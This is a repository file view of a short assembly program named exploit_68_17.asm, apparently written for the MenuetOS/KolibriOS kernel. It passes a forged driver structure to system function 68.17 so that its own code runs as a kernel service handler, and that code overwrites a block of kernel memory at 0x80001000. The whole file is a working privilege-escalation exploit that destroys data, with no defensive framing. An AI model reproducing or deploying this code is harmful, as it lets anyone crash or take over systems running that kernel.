-
Notifications
You must be signed in to change notification settings - Fork 0
/
exploit_68_17.asm
41 lines (36 loc) · 968 Bytes
/
exploit_68_17.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
use32
db 'MENUET01'
dd 1, start, i_end, mem, mem, 0, 0
start:
mov eax, 68
mov ebx, 17
mov ecx, IOCTL
int 0x40 ;; call aeyrnbjy in driver
mov eax, -1
int 0x40
IOCTL:
dd fake_handler ;pointer on fake structure driver
dd 0
dd 0
dd 0
dd 0
dd 0
fake_handler:
rb 16
dd ' SRV' ; const for kernel
dd 48 ;sizeof.SRV ; const for kernel
dd 0
dd 0
dd 0
dd 0
dd my_code ; service_proc
dd my_code ;
my_code: ;stdcall , 1 parameter(pointer to IOCTL)
mov eax, 0
mov edi, 0x80001000
mov ecx, 0x5000
rep stosd
ret
i_end:
rb 256
mem: